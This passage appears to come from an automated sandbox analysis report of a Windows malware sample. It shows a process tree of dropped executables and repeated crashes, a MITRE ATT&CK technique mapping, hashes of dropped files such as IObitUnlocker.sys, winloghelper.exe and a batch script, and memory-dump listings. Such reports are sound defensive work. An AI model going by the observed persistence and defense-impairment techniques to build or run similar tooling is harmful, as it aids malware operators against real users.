                            C:\Windows\SysWOW64\WerFault.exe -u -p 3064 -s 508
                            3⤵
                            • Program crash
                            PID:4064
                        • C:\Windows\h7Lrxqd6.exe
                          "C:\Windows\h7Lrxqd6.exe"
                          2⤵
                          • Executes dropped EXE
                          PID:1516
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 1516 -s 508
                            3⤵
                            • Program crash
                            PID:4384
                        • C:\Windows\h7Lrxqd6.exe
                          "C:\Windows\h7Lrxqd6.exe"
                          2⤵
                          • Executes dropped EXE
                          PID:3192
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 3192 -s 508
                            3⤵
                            • Program crash
                            PID:2812
                        • C:\Windows\h7Lrxqd6.exe
                          "C:\Windows\h7Lrxqd6.exe"
                          2⤵
                          • Executes dropped EXE
                          PID:3952
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 3952 -s 508
                            3⤵
                            • Program crash
                            PID:4588
                        • C:\Windows\h7Lrxqd6.exe
                          "C:\Windows\h7Lrxqd6.exe"
                          2⤵
                          • Executes dropped EXE
                          PID:1808
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 1808 -s 508
                            3⤵
                            • Program crash
                            PID:4328
                        • C:\Windows\h7Lrxqd6.exe
                          "C:\Windows\h7Lrxqd6.exe"
                          2⤵
                          • Executes dropped EXE
                          PID:4640
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 4640 -s 508
                            3⤵
                            • Program crash
                            PID:2136
                        • C:\Windows\h7Lrxqd6.exe
                          "C:\Windows\h7Lrxqd6.exe"
                          2⤵
                          • Executes dropped EXE
                          PID:2144
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 2144 -s 508
                            3⤵
                            • Program crash
                            PID:4544
                        • C:\Windows\h7Lrxqd6.exe
                          "C:\Windows\h7Lrxqd6.exe"
                          2⤵
                          • Executes dropped EXE
                          PID:2208
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 2208 -s 508
                            3⤵
                            • Program crash
                            PID:4692
                        • C:\Windows\h7Lrxqd6.exe
                          "C:\Windows\h7Lrxqd6.exe"
                          2⤵
                          • Executes dropped EXE
                          PID:468
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 468 -s 508
                            3⤵
                            • Program crash
                            PID:5104
                        • C:\Windows\h7Lrxqd6.exe
                          "C:\Windows\h7Lrxqd6.exe"
                          2⤵
                          • Executes dropped EXE
                          PID:2940
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 2940 -s 508
                            3⤵
                            • Program crash
                            PID:4792
                        • C:\Windows\h7Lrxqd6.exe
                          "C:\Windows\h7Lrxqd6.exe"
                          2⤵
                          • Executes dropped EXE
                          PID:3524
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 3524 -s 508
                            3⤵
                            • Program crash
                            PID:4728
                        • C:\Windows\h7Lrxqd6.exe
                          "C:\Windows\h7Lrxqd6.exe"
                          2⤵
                          • Executes dropped EXE
                          PID:2308
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 2308 -s 508
                            3⤵
                            • Program crash
                            PID:4360
                        • C:\Windows\h7Lrxqd6.exe
                          "C:\Windows\h7Lrxqd6.exe"
                          2⤵
                          • Executes dropped EXE
                          PID:2124
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 2124 -s 512
                            3⤵
                            • Program crash
                            PID:3312
                        • C:\Windows\h7Lrxqd6.exe
                          "C:\Windows\h7Lrxqd6.exe"
                          2⤵
                          • Executes dropped EXE
                          PID:5004
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 5004 -s 508
                            3⤵
                            • Program crash
                            PID:3168
                        • C:\Windows\h7Lrxqd6.exe
                          "C:\Windows\h7Lrxqd6.exe"
                          2⤵
                          • Executes dropped EXE
                          PID:1940
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 1940 -s 508
                            3⤵
                            • Program crash
                            PID:4696
                      • C:\Windows\SysWOW64\WerFault.exe
                        C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 4160 -ip 4160
                        1⤵
                          PID:4768
                        • C:\Windows\system32\cmd.exe
                          cmd.exe
                          1⤵
                            PID:3744
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 1052 -ip 1052
                            1⤵
                              PID:888
                            • C:\Windows\SysWOW64\WerFault.exe
                              C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 4380 -ip 4380
                              1⤵
                                PID:3196
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 4136 -ip 4136
                                1⤵
                                  PID:3440
                                • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.sys
                                  C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.sys
                                  1⤵
                                  • Executes dropped EXE
                                  PID:3696
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 2780 -ip 2780
                                  1⤵
                                    PID:4452
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 3420 -ip 3420
                                    1⤵
                                      PID:372
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 2972 -ip 2972
                                      1⤵
                                        PID:3984
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 2504 -ip 2504
                                        1⤵
                                          PID:1556
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 4572 -ip 4572
                                          1⤵
                                            PID:1744
                                          • C:\Windows\SysWOW64\WerFault.exe
                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 1804 -ip 1804
                                            1⤵
                                              PID:4360
                                            • C:\Windows\SysWOW64\WerFault.exe
                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 3632 -ip 3632
                                              1⤵
                                                PID:1656
                                              • C:\Windows\SysWOW64\WerFault.exe
                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 912 -ip 912
                                                1⤵
                                                  PID:4448
                                                • C:\Windows\SysWOW64\WerFault.exe
                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 620 -p 3752 -ip 3752
                                                  1⤵
                                                    PID:4860
                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 1448 -ip 1448
                                                    1⤵
                                                      PID:996
                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 636 -p 3064 -ip 3064
                                                      1⤵
                                                        PID:4464
                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 652 -p 1516 -ip 1516
                                                        1⤵
                                                          PID:3908
                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 652 -p 3192 -ip 3192
                                                          1⤵
                                                            PID:2396
                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 676 -p 3952 -ip 3952
                                                            1⤵
                                                              PID:1112
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 672 -p 1808 -ip 1808
                                                              1⤵
                                                                PID:548
                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 696 -p 4640 -ip 4640
                                                                1⤵
                                                                  PID:1144
                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 736 -p 2144 -ip 2144
                                                                  1⤵
                                                                    PID:4668
                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 760 -p 2208 -ip 2208
                                                                    1⤵
                                                                      PID:3920
                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 760 -p 468 -ip 468
                                                                      1⤵
                                                                        PID:1520
                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 752 -p 2940 -ip 2940
                                                                        1⤵
                                                                          PID:3164
                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 776 -p 3524 -ip 3524
                                                                          1⤵
                                                                            PID:1048
                                                                          • C:\Windows\system32\cmd.exe
                                                                            cmd.exe /c start " " "C:\Windows\winloghelper.exe"
                                                                            1⤵
                                                                            • Executes a command shell one-liner
                                                                            PID:4184
                                                                            • C:\Windows\winloghelper.exe
                                                                              "C:\Windows\winloghelper.exe"
                                                                              2⤵
                                                                              • Executes dropped EXE
                                                                              PID:2276
                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 728 -p 2308 -ip 2308
                                                                            1⤵
                                                                              PID:4648
                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 800 -p 2124 -ip 2124
                                                                              1⤵
                                                                                PID:4408
                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 796 -p 5004 -ip 5004
                                                                                1⤵
                                                                                  PID:4576
                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 764 -p 1940 -ip 1940
                                                                                  1⤵
                                                                                    PID:2920

                                                                                  Network

                                                                                        MITRE ATT&CK Enterprise v16

                                                                                        Reconnaissance

                                                                                        Resource Development

                                                                                        Initial Access

                                                                                        Execution

                                                                                        Command and Scripting Interpreter

                                                                                        2
                                                                                        T1059

                                                                                        PowerShell

                                                                                        1
                                                                                        T1059.001

                                                                                        Windows Command Shell

                                                                                        1
                                                                                        T1059.003

                                                                                        Scheduled Task/Job

                                                                                        1
                                                                                        T1053

                                                                                        Scheduled Task

                                                                                        1
                                                                                        T1053.005

                                                                                        System Services

                                                                                        2
                                                                                        T1569

                                                                                        Service Execution

                                                                                        2
                                                                                        T1569.002

                                                                                        Persistence

                                                                                        Boot or Logon Autostart Execution

                                                                                        2
                                                                                        T1547

                                                                                        Registry Run Keys / Startup Folder

                                                                                        2
                                                                                        T1547.001

                                                                                        Create or Modify System Process

                                                                                        3
                                                                                        T1543

                                                                                        Windows Service

                                                                                        3
                                                                                        T1543.003

                                                                                        Scheduled Task/Job

                                                                                        1
                                                                                        T1053

                                                                                        Scheduled Task

                                                                                        1
                                                                                        T1053.005

                                                                                        Privilege Escalation

                                                                                        Boot or Logon Autostart Execution

                                                                                        2
                                                                                        T1547

                                                                                        Registry Run Keys / Startup Folder

                                                                                        2
                                                                                        T1547.001

                                                                                        Create or Modify System Process

                                                                                        3
                                                                                        T1543

                                                                                        Windows Service

                                                                                        3
                                                                                        T1543.003

                                                                                        Scheduled Task/Job

                                                                                        1
                                                                                        T1053

                                                                                        Scheduled Task

                                                                                        1
                                                                                        T1053.005

                                                                                        Defense Evasion

                                                                                        File and Directory Permissions Modification

                                                                                        1
                                                                                        T1222

                                                                                        Impair Defenses

                                                                                        1
                                                                                        T1562

                                                                                        Modify Registry

                                                                                        3
                                                                                        T1112

                                                                                        Virtualization/Sandbox Evasion

                                                                                        2
                                                                                        T1497

                                                                                        Credential Access

                                                                                        Discovery

                                                                                        Process Discovery

                                                                                        1
                                                                                        T1057

                                                                                        Query Registry

                                                                                        4
                                                                                        T1012

                                                                                        System Information Discovery

                                                                                        3
                                                                                        T1082

                                                                                        System Location Discovery

                                                                                        1
                                                                                        T1614

                                                                                        System Language Discovery

                                                                                        1
                                                                                        T1614.001

                                                                                        Virtualization/Sandbox Evasion

                                                                                        2
                                                                                        T1497

                                                                                        Lateral Movement

                                                                                        Collection

                                                                                        Command and Control

                                                                                        Exfiltration

                                                                                        Impact

                                                                                        Service Stop

                                                                                        2
                                                                                        T1489

                                                                                        Replay Monitor

                                                                                        Loading Replay Monitor...

                                                                                        Downloads

                                                                                        IObitUnlocker.dll
                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.dll
                                                                                        • Size 79KB
                                                                                        • SHA256 37d2a1626dc205d60f0bec8746ab256569267e4ef2f8f84dff4d9d792aa3af30
                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                        Submit Download

                                                                                        IObitUnlocker.exe
                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
                                                                                        • Size 2.6MB
                                                                                        • SHA256 eaa9dc1c9dc8620549fee54d81399488292349d2c8767b58b7d0396564fb43e7
                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                        Submit Download

                                                                                        IObitUnlocker.log
                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.log
                                                                                        • Size 8KB
                                                                                        • SHA256 d6a81fd6024e7b5361088658077191b6421a30581c987ad512cb76888732eeb7
                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                        Submit Download

                                                                                        IObitUnlocker.log
                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.log
                                                                                        • Size 208KB
                                                                                        • SHA256 557cfeed265a907f0e1e91c9b35ec184023ecefc23c76f4fee04d5e64e45224d
                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                        Submit Download

                                                                                        IObitUnlocker.log
                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.log
                                                                                        • Size 260KB
                                                                                        • SHA256 c81c8509dd09ea80b1a31a748c7d18192b68f83c1cd329d5007eef8755e6839b
                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                        Submit Download

                                                                                        IObitUnlocker.log
                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.log
                                                                                        • Size 312KB
                                                                                        • SHA256 b4fc09412a22fe3fdbb00b131d206b3c510184aa43820de5b98e12127fbd308b
                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                        Submit Download

                                                                                        IObitUnlocker.log
                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.log
                                                                                        • Size 364KB
                                                                                        • SHA256 96b6eef641c2da30e16ce70b80389fb3346c8939b1317e467be1d57aca9d243d
                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                        Submit Download

                                                                                        IObitUnlocker.log
                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.log
                                                                                        • Size 52KB
                                                                                        • SHA256 461062f97b769830792c9d860651b0c2ce5a79549fbc8b8b5c99346b3aba91f8
                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                        Submit Download

                                                                                        IObitUnlocker.log
                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.log
                                                                                        • Size 104KB
                                                                                        • SHA256 92f29be875b1c229c59a4b86b4b267ced38c1e7a3db5b1b7810357eb1964d8ff
                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                        Submit Download

                                                                                        IObitUnlocker.log
                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.log
                                                                                        • Size 156KB
                                                                                        • SHA256 1ba2474de87974024d643782c91632a35799c425e4cf34f8ba232c74630b98b0
                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                        Submit Download

                                                                                        IObitUnlocker.sys
                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.sys
                                                                                        • Size 40KB
                                                                                        • SHA256 1845fe8545b6708e64250b8807f26d095f1875cc1f6159b24c2d0589feb74f0c
                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                        Submit Download

                                                                                        1Z48u1.exe
                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\1Z48u1.exe
                                                                                        • Size 2.3MB
                                                                                        • SHA256 100f3860e95065f50f99c69cda4cdeb6169ed7ef51d30f95fb21a395d15572f8
                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                        Submit Download

                                                                                        2J9943.exe
                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\2J9943.exe
                                                                                        • Size 1.9MB
                                                                                        • SHA256 c8073ba752ddebdc3e324128bc6d1739c2aa2ff713f3021fe1b4e59894b98e5a
                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                        Submit Download

                                                                                        PXSRrAK.bat
                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\PXSRrAK.bat
                                                                                        • Size 10KB
                                                                                        • SHA256 07bc6a2ed72e02e1988d152188bed752c21ab5282649f22c4c168a176cbdc690
                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                        Submit Download

                                                                                        WindowsLogsHelper.xml
                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\WindowsLogsHelper.xml
                                                                                        • Size 2KB
                                                                                        • SHA256 a6848ab2b45b8fa634624adff2f28743eefb7a9d52ed7863420d0494ccaa1b62
                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                        Submit Download

                                                                                        __PSScriptPolicyTest_2hsfpoic.tmd.ps1
                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2hsfpoic.tmd.ps1
                                                                                        • Size 60B
                                                                                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                        Submit Download

                                                                                        7z.exe
                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\hater\7z.exe
                                                                                        • Size 828KB
                                                                                        • SHA256 cf878bfbd9ed93dc551ac038aff8a8bba4c935ddf8d48e62122bddfdb3e08567
                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                        Submit Download

                                                                                        NSudoLG.exe
                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\hater\NSudoLG.exe
                                                                                        • Size 174KB
                                                                                        • SHA256 5094ad359d8cf6dc5324598605c35f68519cc5af9c7ed5427e02a6b28121e4c7
                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                        Submit Download

                                                                                        game.exe
                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\hater\game.exe
                                                                                        • Size 1.3MB
                                                                                        • SHA256 8e8770a9b93d361a6b4f87a4150de368b57fa644d3a22e365a0d8acaf37585fb
                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                        Submit Download

                                                                                        land.zip
                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\hater\land.zip
                                                                                        • Size 1.3MB
                                                                                        • SHA256 ea6d7791e722a662521263430e7a1e000dfb8e4f14f99009a6d9a9daddeaf0a7
                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                        Submit Download

                                                                                        nircmd.exe
                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\hater\nircmd.exe
                                                                                        • Size 117KB
                                                                                        • SHA256 2e81e048ab419fdc6e5f4336a951bd282ed6b740048dc38d7673678ee3490cda
                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                        Submit Download

                                                                                        systemhelper.exe
                                                                                        • Path C:\Windows\systemhelper.exe
                                                                                        • Size 2.1MB
                                                                                        • SHA256 32787ea4beb39be3a36732ea1aa6094c0efbc7b1eb25691cc443caeed00308a2
                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                        Submit Download

                                                                                        winloghelper.exe
                                                                                        • Path C:\Windows\winloghelper.exe
                                                                                        • Size 416KB
                                                                                        • SHA256 c36ed034d523da1f54d43176334d4bda9f9adcb940948646b43902a620ebda45
                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                        Submit Download

                                                                                        memory/640-80-0x000001921B7C0000-0x000001921B91C000-memory.dmp
                                                                                        Download

                                                                                        memory/640-79-0x0000019201200000-0x0000019201358000-memory.dmp
                                                                                        Download

                                                                                        memory/980-386-0x0000000000400000-0x00000000006DC000-memory.dmp
                                                                                        Download

                                                                                        memory/1868-391-0x00000000000D0000-0x0000000000541000-memory.dmp
                                                                                        Download

                                                                                        memory/1868-47-0x00000000000D0000-0x0000000000541000-memory.dmp
                                                                                        Download

                                                                                        memory/1868-82-0x00000000000D0000-0x0000000000541000-memory.dmp
                                                                                        Download

                                                                                        memory/2180-953-0x0000000000400000-0x00000000006DC000-memory.dmp
                                                                                        Download

                                                                                        memory/2692-1234-0x0000000000400000-0x00000000006DC000-memory.dmp
                                                                                        Download

                                                                                        memory/2896-1797-0x0000000000400000-0x00000000006DC000-memory.dmp
                                                                                        Download

                                                                                        memory/3080-84-0x000001129B7B0000-0x000001129B7BA000-memory.dmp
                                                                                        Download

                                                                                        memory/3080-86-0x000001129BA00000-0x000001129BA12000-memory.dmp
                                                                                        Download

                                                                                        memory/3248-7-0x0000000000460000-0x00000000006BA000-memory.dmp
                                                                                        Download

                                                                                        memory/3248-8-0x00000000074F0000-0x0000000007784000-memory.dmp
                                                                                        Download

                                                                                        memory/3248-9-0x0000000005010000-0x0000000005032000-memory.dmp
                                                                                        Download

                                                                                        memory/3464-19-0x0000000005B60000-0x0000000005BC6000-memory.dmp
                                                                                        Download

                                                                                        memory/3464-29-0x0000000006200000-0x000000000621E000-memory.dmp
                                                                                        Download

                                                                                        memory/3464-33-0x0000000007A10000-0x0000000007FB4000-memory.dmp
                                                                                        Download

                                                                                        memory/3464-32-0x0000000006700000-0x000000000671A000-memory.dmp
                                                                                        Download

                                                                                        memory/3464-18-0x0000000005340000-0x0000000005362000-memory.dmp
                                                                                        Download

                                                                                        memory/3464-28-0x0000000005D40000-0x0000000006094000-memory.dmp
                                                                                        Download

                                                                                        memory/3464-17-0x00000000054C0000-0x0000000005AE8000-memory.dmp
                                                                                        Download

                                                                                        memory/3464-20-0x0000000005BD0000-0x0000000005C36000-memory.dmp
                                                                                        Download

                                                                                        memory/3464-16-0x0000000002910000-0x0000000002946000-memory.dmp
                                                                                        Download

                                                                                        memory/3464-31-0x00000000073C0000-0x0000000007456000-memory.dmp
                                                                                        Download

                                                                                        memory/3464-30-0x00000000062B0000-0x00000000062FC000-memory.dmp
                                                                                        Download

                                                                                        memory/3696-389-0x0000000000010000-0x000000000001D000-memory.dmp
                                                                                        Download

                                                                                        memory/4256-1515-0x0000000000400000-0x00000000006DC000-memory.dmp
                                                                                        Download

                                                                                        memory/4668-2078-0x0000000000400000-0x00000000006DC000-memory.dmp
                                                                                        Download

                                                                                        memory/4920-672-0x0000000000400000-0x00000000006DC000-memory.dmp
                                                                                        Download